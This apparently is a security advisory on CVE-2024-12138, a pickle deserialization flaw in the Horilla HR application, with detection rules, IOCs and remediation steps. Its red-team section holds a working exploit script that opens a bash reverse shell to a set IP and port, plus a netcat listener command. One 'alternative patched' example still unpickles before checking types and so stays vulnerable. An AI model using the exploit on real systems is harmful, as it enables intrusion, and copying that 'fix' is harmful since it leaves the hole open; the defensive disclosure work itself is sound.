CVE-2024-12138

Executive Summary

CVE-2024-12138 is a critical deserialization vulnerability affecting Horilla, an open-source HRMS application, up to version 1.2.1. The vulnerability is present in multiple functions including request_new, get_employee_shift, create_reimbursement, key_result_current_value_update, create_meetings, and create_skills. An unauthenticated remote attacker can exploit insecure deserialization of untrusted data to achieve arbitrary code execution, leading to full system compromise. The vendor was contacted but did not respond, leaving the software unpatched. Public exploit code has been released, increasing the risk of active exploitation.

Supply Chain & Package Security

Horilla is a Python/Django-based application. The vulnerability resides in the application's custom code, not in a third-party package. However, organizations using Horilla should treat this as a critical supply chain risk, as the vendor has not provided a patch. Users must either apply manual mitigations or discontinue use until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists.

Deep Dive & Mechanics

The vulnerability is a classic insecure deserialization flaw (CWE-502). The affected functions in Horilla accept serialized Python objects (likely pickled data) from user input without proper validation or sanitization. When the application deserializes this data, an attacker can craft a malicious payload that executes arbitrary commands on the server.

The specific functions listed (request_new, get_employee_shift, etc.) are endpoints that process user-supplied data. The deserialization likely occurs when the application reads request parameters or uploaded files. Python's pickle module is commonly used for serialization, and it is inherently unsafe when handling untrusted data.

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., /request_new/).
2. Attacker crafts a malicious pickle payload that executes a reverse shell or other command.
3. Attacker sends the payload to the endpoint.
4. The server deserializes the payload, triggering code execution.
5. Attacker gains remote access to the server.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical comparison based on the vulnerability type.

Vulnerable Code (pickle.loads on untrusted input):

import pickle
from django.http import JsonResponse

def request_new(request):
    data = request.POST.get('data')
    obj = pickle.loads(data)  # Insecure deserialization
    # ... process obj
    return JsonResponse({'status': 'ok'})

Patched Code (using JSON or safe deserialization):

import json
from django.http import JsonResponse

def request_new(request):
    data = request.POST.get('data')
    obj = json.loads(data)  # Safe deserialization
    # ... process obj
    return JsonResponse({'status': 'ok'})

Alternative Patched Code (with input validation):

import pickle
from django.http import JsonResponse

def request_new(request):
    data = request.POST.get('data')
    # Only allow specific classes
    allowed_classes = [dict, list, str, int, float]
    obj = pickle.loads(data)
    if type(obj) not in allowed_classes:
        return JsonResponse({'error': 'Invalid data'}, status=400)
    # ... process obj
    return JsonResponse({'status': 'ok'})

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Python 3.x with requests library
• Target Horilla instance (version <= 1.2.1)
• Network access to the target

Exploit Script:

import pickle
import os
import requests

class Exploit:
    def __reduce__(self):
        # Reverse shell command (change IP and port)
        cmd = "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
        return (os.system, (cmd,))

# Generate malicious pickle payload
payload = pickle.dumps(Exploit())

# Target endpoint (example)
url = "http://target-horilla.com/request_new/"

# Send payload
response = requests.post(url, data={'data': payload})
print(f"Exploit sent. Check your listener.")

Usage:

1. Start a netcat listener: nc -lvnp 4444
2. Run the exploit script: python exploit.py
3. If successful, you will receive a reverse shell.

Alternative Payload (using subprocess):

import pickle
import subprocess

class Exploit:
    def __reduce__(self):
        return (subprocess.check_output, (['id'],))

payload = pickle.dumps(Exploit())
# Send as above

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual pickle data in HTTP requests (look for b'\x80\x04' or b'\x80\x05' byte sequences).
• Monitor for unexpected child processes spawned by the web server (e.g., bash, nc, python).
• Monitor outbound connections to unusual IPs/ports.

Hardening:

• Immediate: Disable the vulnerable endpoints if possible (e.g., via web server configuration).
• Code Fix: Replace pickle.loads with json.loads or implement a whitelist of allowed classes.
• Network: Restrict outbound traffic from the web server to prevent reverse shells.
• WAF: Deploy a Web Application Firewall with rules to block pickle payloads.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /request_new/, /get_employee_shift/, /create_reimbursement/, /key_result_current_value_update/, /create_meetings/, /create_skills/ with large binary data in the data parameter.
• Outbound connections to unknown IPs on high ports (e.g., 4444, 1337).

File System IOCs:

• Unexpected files in /tmp/ (e.g., exploit.py, shell.sh).
• Modified web server configuration files.

Process IOCs:

• Web server (e.g., gunicorn, uwsgi) spawning bash, nc, python, or perl processes.
• Unusual network connections from the web server process.

Log IOCs:

• Django error logs containing pickle.UnpicklingError or AttributeError.
• Web server access logs showing repeated POST requests to the vulnerable endpoints.

Detection Engineering

YARA Rule

rule CVE_2024_12138_Pickle_Payload {
    meta:
        description = "Detects malicious pickle payloads targeting CVE-2024-12138"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12138"
    strings:
        $pickle_magic = { 80 04 95 }  // Python 3 pickle protocol 4
        $pickle_magic2 = { 80 05 95 } // Python 3 pickle protocol 5
        $reduce = "reduce" nocase
        $os_system = "os.system" nocase
        $subprocess = "subprocess" nocase
    condition:
        ($pickle_magic or $pickle_magic2) and ($reduce or $os_system or $subprocess)
}

Sigma Rule

title: CVE-2024-12138 - Horilla Deserialization Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests containing pickle payloads targeting Horilla vulnerable endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/request_new/'
            - '/get_employee_shift/'
            - '/create_reimbursement/'
            - '/key_result_current_value_update/'
            - '/create_meetings/'
            - '/create_skills/'
        cs-uri-query|contains: 'data='
    condition: selection
falsepositives:
    - Legitimate use of pickle in internal applications (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-12138 - Horilla Deserialization Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/request_new/"; http_uri; content:"data="; http_client_body; pcre:"/\x80\x04\x95|\x80\x05\x95/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Vulnerable Endpoints: If possible, block access to the listed endpoints via web server configuration (e.g., Nginx/Apache deny rules).
2. Apply WAF Rules: Deploy a Web Application Firewall with rules to block pickle payloads (look for \x80\x04 or \x80\x05 byte sequences).
3. Network Segmentation: Isolate the Horilla server from critical systems and restrict outbound internet access.

Long-Term Fix:

• Code Review: Replace all instances of pickle.loads with safe alternatives like json.loads or implement strict class whitelisting.
• Vendor Contact: Continue attempting to contact the vendor. If unresponsive, consider forking the project and applying the fix yourself.
• Upgrade: If a patched version becomes available, upgrade immediately.

Workaround:

• Implement a custom middleware that inspects request bodies for pickle magic bytes and rejects them.

Valters IT - This report is provided for educational and defensive purposes. Unauthorized exploitation of this vulnerability is illegal.